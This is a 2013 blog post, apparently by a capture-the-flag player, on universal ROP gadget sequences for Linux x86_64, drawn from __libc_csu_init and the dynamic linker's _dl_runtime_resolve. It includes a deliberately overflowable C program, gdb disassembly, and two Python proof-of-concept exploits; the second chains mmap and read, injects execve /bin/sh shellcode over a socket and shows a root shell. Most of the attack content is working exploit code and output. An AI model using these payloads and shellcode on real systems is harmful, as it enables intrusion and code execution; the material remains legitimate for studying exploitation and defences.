Monday, July 29, 2013

Some universal gadget sequence for Linux x86_64 ROP payload

Unlike x86, x86_64 ROP payload needs the parameters to function call in registers. __libc_csu_init functions provides a few nice gadgets to load data into certain critical registers. Most importantly EDI, RSI and RDX. This is the sample code:
// gcc -O3 -o rop rop.c
#include <unistd.h>

int main(void) {
    char buf[64];
    read(0, buf, 2048);
    return 0;
}
The code was compiled with gcc 4.8.0. Looking into the binary we can see the default functions
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini
Below is the disassembly of __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000401830 <+0>: mov    QWORD PTR [rsp-0x28],rbp
   0x0000000000401835 <+5>: mov    QWORD PTR [rsp-0x20],r12
   0x000000000040183a <+10>: lea    rbp,[rip+0x2007c7]        # 0x602008
   0x0000000000401841 <+17>: lea    r12,[rip+0x2007b8]        # 0x602000
   0x0000000000401848 <+24>: mov    QWORD PTR [rsp-0x30],rbx
   0x000000000040184d <+29>: mov    QWORD PTR [rsp-0x18],r13
   0x0000000000401852 <+34>: mov    QWORD PTR [rsp-0x10],r14
   0x0000000000401857 <+39>: mov    QWORD PTR [rsp-0x8],r15
   0x000000000040185c <+44>: sub    rsp,0x38
   0x0000000000401860 <+48>: sub    rbp,r12
   0x0000000000401863 <+51>: mov    r15d,edi
   0x0000000000401866 <+54>: mov    r14,rsi
   0x0000000000401869 <+57>: sar    rbp,0x3
   0x000000000040186d <+61>: mov    r13,rdx
   0x0000000000401870 <+64>: xor    ebx,ebx
   0x0000000000401872 <+66>: call   0x400708 <_init>
   0x0000000000401877 <+71>: test   rbp,rbp
   0x000000000040187a <+74>: je     0x401896 <__libc_csu_init+102>
   0x000000000040187c <+76>: nop    DWORD PTR [rax+0x0]
   0x0000000000401880 <+80>: mov    rdx,r13
   0x0000000000401883 <+83>: mov    rsi,r14
   0x0000000000401886 <+86>: mov    edi,r15d
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
   0x0000000000401896 <+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x000000000040189b <+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x00000000004018a0 <+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x00000000004018a5 <+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x00000000004018aa <+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x00000000004018af <+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x00000000004018b4 <+132>: add    rsp,0x38
   0x00000000004018b8 <+136>: ret 
Controlling registers EDI and ESI:

Unaligned instrutions right at the bottom of the __libc_csu_init provides us with gadgets to load EDI and ESI
gdb-peda$ x/4i 0x00000000004018ab
   0x4018ab <__libc_csu_init+123>: mov    esi,DWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
gdb-peda$ x/3i 0x00000000004018b0
   0x4018b0 <__libc_csu_init+128>: mov    edi,DWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
These gadgets give us some control over EDI and ESI which makes up the first 2 parameters for making function call

Controlling registers EDI, RSI and RDX:

The 3rd parameter for function call is loaded into RDX, __libc_csu_init has the gadget to load RDX, but there are few other things we have to control
   0x0000000000401889 <+89>: call   QWORD PTR [r12+rbx*8]
   0x000000000040188d <+93>: add    rbx,0x1
   0x0000000000401891 <+97>: cmp    rbx,rbp
   0x0000000000401894 <+100>: jne    0x401880 <__libc_csu_init+80>
To effectively use mov rdx,r13 , we have to ensure that call QWORD PTR [r12+rbx*8] doesn't SIGSEGV, cmp rbx,rbp equals and most importantly value of RDX is not altered.
In _DYNAMIC variable ie. .dynamic section of executable we can find pointers to _init and _fini section
gdb-peda$ x/10x &_DYNAMIC 
0x6006f0: 0x0000000000000001 0x0000000000000010
0x600700: 0x000000000000000c 0x0000000000400378
0x600710: 0x000000000000000d 0x0000000000400618
0x600720: 0x0000000000000004 0x0000000000400240
0x600730: 0x0000000000000005 0x00000000004002c8
gdb-peda$ x/i 0x0000000000400378
   0x400378 <_init>: sub    rsp,0x8
gdb-peda$ x/i 0x0000000000400618
   0x400618 <_fini>: sub    rsp,0x8
gdb-peda$ x/gx 0x600718
0x600718: 0x0000000000400618
We can make call QWORD PTR [r12+rbx*8] point to 0x600718, so that _fini is called. This is what _fini looks like
gdb-peda$ disass _fini
Dump of assembler code for function _fini:
   0x0000000000400618 <+0>: sub    rsp,0x8
   0x000000000040061c <+4>: call   0x400480 <__do_global_dtors_aux>
   0x0000000000400621 <+9>: add    rsp,0x8
   0x0000000000400625 <+13>: ret    
End of assembler dump.
_fini function and subsequent functions called from _fini doesn't disturb the state of RDX register and RBX value is preserved. Below is the POC:
#!/usr/bin/env python

import struct

payload  = "A" * 72
payload += struct.pack("<Q", 0x00000000004005b6) 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret
payload += "A" * 8

# Adjust Offset & Address such that 0x0a is avoided & call QWORD PTR [r12+rbx*8] points to _fini
payload += struct.pack("<Q", 0x0)        # Offset of pointer to _fini function in RBX
payload += struct.pack("<Q", 0x1)        # To pass cmp rbx,rbp check in RBP
payload += struct.pack("<Q", 0x600718)   # address in R12

payload += "B"*8       # Value for EDI register
payload += "C"*8       # Value for RSI register
payload += "D"*8       # Value for RDX register

payload += struct.pack("<Q", 0x00000000004005a0)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jb 0x4005a0 <__libc_csu_init+80> 
# mov rbx,QWORD PTR [rsp+0x08]; mov rbp,QWORD PTR [rsp+0x10]; mov r12,QWORD PTR [rsp+0x18] ; 
# mov r13,QWORD PTR [rsp+0x20]; mov r14,QWORD PTR [rsp+0x28]; mov r15,QWORD PTR [rsp+0x30] ; add rsp,0x38 ; ret

payload += "E"*56
payload += struct.pack("<Q", 0xdeadbeef)
print payload
Running the exploit we get
gdb-peda$ info registers
rax            0x7 0x7
rbx            0x4545454545454545 0x4545454545454545
rcx            0x38b7ad41d0 0x38b7ad41d0
rdx            0x4444444444444444 0x4444444444444444
rsi            0x4343434343434343 0x4343434343434343
rdi            0x42424242 0x42424242
rbp            0x4545454545454545 0x4545454545454545
rsp            0x7fffbbd90350 0x7fffbbd90350
r8             0x38b7d7a300 0x38b7d7a300
r9             0x38b720e8e0 0x38b720e8e0
r10            0x7fffbbd90000 0x7fffbbd90000
r11            0x246 0x246
r12            0x4545454545454545 0x4545454545454545
r13            0x4545454545454545 0x4545454545454545
r14            0x4545454545454545 0x4545454545454545
r15            0x4545454545454545 0x4545454545454545
rip            0xdeadbeef 0xdeadbeef
eflags         0x10206 [ PF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
gdb-peda$ x/i $rip
=> 0xdeadbeef: Cannot access memory at address 0xdeadbeef
We can see that EDI, RSI and RDX are loaded with user controlled data. One can also make call QWORD PTR [r12+rbx*8] point to GOT address of functions instead of _fini, as per requirement.

Stack Shifting gadget:

Another important gadget that __libc_csu_init provides is pop rsp. This can be used to shift stack to desired location, say .bss/.data section
gdb-peda$ x/9i 0x0000000000401898
   0x401898 <__libc_csu_init+104>: pop    rsp
   0x401899 <__libc_csu_init+105>: and    al,0x8
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret

Dereference with respect to RSP:

This gadget might be useful to work with function pointers in stack
gdb-peda$ x/16i 0x40188a
   0x40188a <__libc_csu_init+90>: call   QWORD PTR [rsp+rbx*8]
   0x40188d <__libc_csu_init+93>: add    rbx,0x1
   0x401891 <__libc_csu_init+97>: cmp    rbx,rbp
   0x401894 <__libc_csu_init+100>: jne    0x401880 <__libc_csu_init+80>
   0x401896 <__libc_csu_init+102>: mov    rbx,QWORD PTR [rsp+0x8]
   0x40189b <__libc_csu_init+107>: mov    rbp,QWORD PTR [rsp+0x10]
   0x4018a0 <__libc_csu_init+112>: mov    r12,QWORD PTR [rsp+0x18]
   0x4018a5 <__libc_csu_init+117>: mov    r13,QWORD PTR [rsp+0x20]
   0x4018aa <__libc_csu_init+122>: mov    r14,QWORD PTR [rsp+0x28]
   0x4018af <__libc_csu_init+127>: mov    r15,QWORD PTR [rsp+0x30]
   0x4018b4 <__libc_csu_init+132>: add    rsp,0x38
   0x4018b8 <__libc_csu_init+136>: ret 
Chaining Gadgets from Linker:

_dl_runtime_resolve function in dynamic linker has the following sequnce of instructions
   0x38b7214780 <_dl_runtime_resolve>:    sub    rsp,0x38
   0x38b7214784 <_dl_runtime_resolve+4>:  mov    QWORD PTR [rsp],rax
   0x38b7214788 <_dl_runtime_resolve+8>:  mov    QWORD PTR [rsp+0x8],rcx
   0x38b721478d <_dl_runtime_resolve+13>: mov    QWORD PTR [rsp+0x10],rdx
   0x38b7214792 <_dl_runtime_resolve+18>: mov    QWORD PTR [rsp+0x18],rsi
   0x38b7214797 <_dl_runtime_resolve+23>: mov    QWORD PTR [rsp+0x20],rdi
   0x38b721479c <_dl_runtime_resolve+28>: mov    QWORD PTR [rsp+0x28],r8
   0x38b72147a1 <_dl_runtime_resolve+33>: mov    QWORD PTR [rsp+0x30],r9
   0x38b72147a6 <_dl_runtime_resolve+38>: mov    rsi,QWORD PTR [rsp+0x40]
   0x38b72147ab <_dl_runtime_resolve+43>: mov    rdi,QWORD PTR [rsp+0x38]
   0x38b72147b0 <_dl_runtime_resolve+48>: call   0x38b720de00 <_dl_fixup>
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
gdb-peda$ disass read
Dump of assembler code for function read@plt:
   0x00000000004003e8 <+0>: jmp    QWORD PTR [rip+0x20056a]  # 0x600958 <read@got.plt>
   0x00000000004003ee <+6>: push   0x1
   0x00000000004003f3 <+11>: jmp    0x4003c8    # PLT [0] 
End of assembler dump.
PLT [0] code:
gdb-peda$ x/3i 0x4003c8
   0x4003c8: push   QWORD PTR [rip+0x200572]   # 0x600940
   0x4003ce: jmp    QWORD PTR [rip+0x200574]   # 0x600948, GOT entry ie PLTGOT+16
   0x4003d4: nop    DWORD PTR [rax+0x0]
gdb-peda$ x/x 0x600948
0x600948: 0x00000000
gdb-peda$ break *main
Breakpoint 1 at 0x400578
gdb-peda$ run
gdb-peda$ x/x 0x600948
0x600948: 0x00000038b7214780      # address of _dl_runtime_resolve
The code at 0x4003c8 which is PLT[0] calls _dl_runtime_resolve in dynamic linker to resolve the address of libc functions during runtime. If one can leak the address of _dl_runtime_resolve by reading the GOT entry, the interesting gadget sequence is located at offset 0x35, from the leaked address
   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 + GOT
   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11
If register RAX can be loaded with user controlled value, the above gadget sequence can be used to call any functions as it can populate all necessary registers. Here is a simple POC exploit for a dummy code, ASLR was disabled for testing, but we need some info leak when ASLR is enabled
#!/usr/bin/env python

#   GADGET 
#   0x38b72147b5 <_dl_runtime_resolve+53>: mov    r11,rax    @ 0x35 from GOT used for PLT[0], leaked address
#   0x38b72147b8 <_dl_runtime_resolve+56>: mov    r9,QWORD PTR [rsp+0x30]
#   0x38b72147bd <_dl_runtime_resolve+61>: mov    r8,QWORD PTR [rsp+0x28]
#   0x38b72147c2 <_dl_runtime_resolve+66>: mov    rdi,QWORD PTR [rsp+0x20]
#   0x38b72147c7 <_dl_runtime_resolve+71>: mov    rsi,QWORD PTR [rsp+0x18]
#   0x38b72147cc <_dl_runtime_resolve+76>: mov    rdx,QWORD PTR [rsp+0x10]
#   0x38b72147d1 <_dl_runtime_resolve+81>: mov    rcx,QWORD PTR [rsp+0x8]
#   0x38b72147d6 <_dl_runtime_resolve+86>: mov    rax,QWORD PTR [rsp]
#   0x38b72147da <_dl_runtime_resolve+90>: add    rsp,0x48
#   0x38b72147de <_dl_runtime_resolve+94>: jmp    r11

import struct
import socket
import time

ip = "127.0.0.1"
port = 3337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

shellcode = ( "\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e" +
              "\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89" +
              "\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" )

payload  = "A" * 72

# call mmap
payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x38b7addfd0 )  # address of mmap@libc

payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += struct.pack("<Q", 34 )            # For RCX, 4th param
payload += struct.pack("<Q", 7 )             # For RDX, 3rd param
payload += struct.pack("<Q", 1024 )          # For RSI, 2nd param
payload += struct.pack("<Q", 0x0badc000 )    # For RDI, 1st param
payload += struct.pack("<Q", 0 )             # For R8,  5th param
payload += struct.pack("<Q", 0 )             # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x00400574)     # pop rax
payload += struct.pack("<Q", 0x004003e8 )    # For RAX, read@PLT

# call read
payload += struct.pack("<Q", 0x38b72147b5 )  # gadget from linker
payload += "ANYTHING"                           # For RAX
payload += "ANYTHING"                           # For RCX, 4th param
payload += struct.pack("<Q", 1024 )          # For RDX, 3rd param
payload += struct.pack("<Q", 0x0badc000 )    # For RSI, 2nd param
payload += struct.pack("<Q", 0 )             # For RDI, 1st param, stdin
payload += "ANYTHING"                           # For R8,  5th param
payload += "ANYTHING"                           # For R9,  6th param
payload += "MOVEMOVE"
payload += "MOVEMOVE"

payload += struct.pack("<Q", 0x0badc000 )    # jump to shellcode 

soc.send(payload + "\n")
time.sleep(1)
soc.send(shellcode + "\n")
soc.send("id\n")

print soc.recv(1024)
[ctf@renorobert ret2linker]$ python exploit.py 
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Will update post when I find more info.

No comments :

Post a Comment